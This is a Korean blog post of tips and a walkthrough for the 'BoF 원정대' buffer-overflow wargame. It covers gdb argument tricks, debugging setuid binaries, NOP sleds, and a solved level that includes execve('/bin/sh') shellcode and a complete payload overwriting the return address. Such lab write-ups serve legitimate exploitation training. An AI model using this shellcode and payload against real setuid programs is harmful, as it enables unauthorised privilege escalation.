본문 바로가기
CTF 분야/BOF원정대

BoF 원정대 시작팁

by 웃는 얼굴, 친절한 말, 따뜻한 마음 2014. 12. 18.
728x90

[디버깅 시 python으로 인자값 전달]

(gdb) r `python -c 'print "A" * 400 + "BBBB" + "CCCC"'`

(gdb) r $(python -c 'print "A" * 400 + "BBBB" + "CCCC"')

(gdb) r `python ex.py`

   

[디버깅 시perl로 인자값 전달]

(gdb) r `perl -e 'print "\x41"*400,"BBBB","CCCC"'`

   

   

[디버깅 오류 확인]

/bin/bash: /home/gate/eM/../gremlin: Operation not permitted
권한이 없어서 그래요 setuid 가 걸린 binary 는 디버깅 못함

사본을 만들어서 디버깅할 것

gcc버전이 하위버전이라 더미데이터가 안붙어서 16바이트 버퍼이면 그대로 16바이트임

   

[컴파일]

gcc -o gremlin1 gremlin.c

   

[공격순서]

① setuid가 있기 때문에 GDB 권한이 없음 -> 동일한 글자수의 다른 이름으로 복사 

② GDB를 통해 버퍼크기와 더미존재 여부 확인.

③ GDB로 RET주소를 구하자.

    •버퍼크기가 256Byte나 되므로 쉘코드를 버퍼에 삽입후 RET주소를 buffer의 주소로 바꾼다.

④ 공격에 사용할 쉘코드 작성

⑤ Python 인터프리터 공격문 작성

⑥ bash2 && 공격

 

[/bin/bash 버그 해결]

export명령어로 shell 확인 후 chsh 명령어로 shell을 /bin/bash2로 변경 후 재로그인 

구버젼의 bash에 실행 파일의 인자로 전달되는 값들 중 0xff를 인식하지 못하는 버그가 있습니다.

따라서 C언어의 exec* 계열 함수를 호출하여 인자를 넘기시거나 업그레이드 버젼인 /bin/bash2를 실행하시면 문제가 해결됨

 

   

  

[NOP 썰매 기법]

스택버퍼오버플로우

어떤 프로그램이 그 프로그램의 호출 스택상 의도된 자료구조로 보통 고정된 길이의 버퍼에 그 이상의 메모리 주소를 넘치게 될때 발생된다. 따라서 스택버퍼오버플로우는 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램의 취약점이다. 버퍼오버플로우는 보통 데이터를 저장하는 과정에서 그 데이터를 저장할 메모리 위치가 유효한지를 검사하지 않아 발생하는데 이런 경우 데이터가 저장된근처에 있는 메모리의 값이 변경되고 프로그램 실행에 영향을 미칠 수 있다. 그 중 가장 큰 문제는 프로그램의 이런 취약점을 이용해 악의적인 공격을 감행할 수 있다.

NOP 썰매 기법

NOP 썰매 기법은 가장 오래되고 가장 널리 알려진스택버퍼오버플로우 공격기법중의 하나이다. 버퍼의 정확한 주소를 찾느 문제를 해결하는 것으로, 표적 영역의 크기를 증대시킨다. 공격자가 NOP 명령어 이후의 버퍼의 최상위 위치, 셸 코드가 있는 곳으로 jump명령어를 둠으로 NOP썰매라 부른다.  RET주소를 덮어쓸 때 NOP 영역 내의 주소값 어디를 써도 결국 NOP 명령어들을 따라 미끄러져 마지막 jump로 실제 악성코드가 있는 위치로 이동되기 때문이다.

   

[파이썬 예제]

파이썬을 하나의 문자열로 만들어서 전달( backquote 기호 이용 )

ex) ./test `python ex.py`

 


1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python 
import struct 
   
pack = lambda x : struct.pack( "<L", x ) 
unpack = lambda x : struct.unpack( "<L", x )[0
   
ret = pack( 0x080489cc ) 
   
print "A"*100 + ret
 
cs


 

 [풀이]

소스코드를 수정하여 buffer의 주소 출력

[ex.py]

# buffer (256) + sfp(4) + ret(4) = 264byte

print "A"*264

   

ret는 buffer의 주소로 수정, buffer에 shellcode(24byte) 추가

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

ret는 buffer의 시작주소가 아니더라고 NOP이 있는 위치로 정하면 됨 -> 0xbffffb7c로 jump하도록 설정

buffer(256)

"\x90"*200 + shellcode + "\x90" * 32

sfp (더미)

"AAAA"

ret

"\x7c\xfb\xff\xbf"

※특이사항 : 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다

$(python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90" * 32 + "AAAA" + "\x7c\xfb\xff\xbf" ')

 

참고 : http://devanix.tistory.com/135

http://semidntmd.tistory.com/

반응형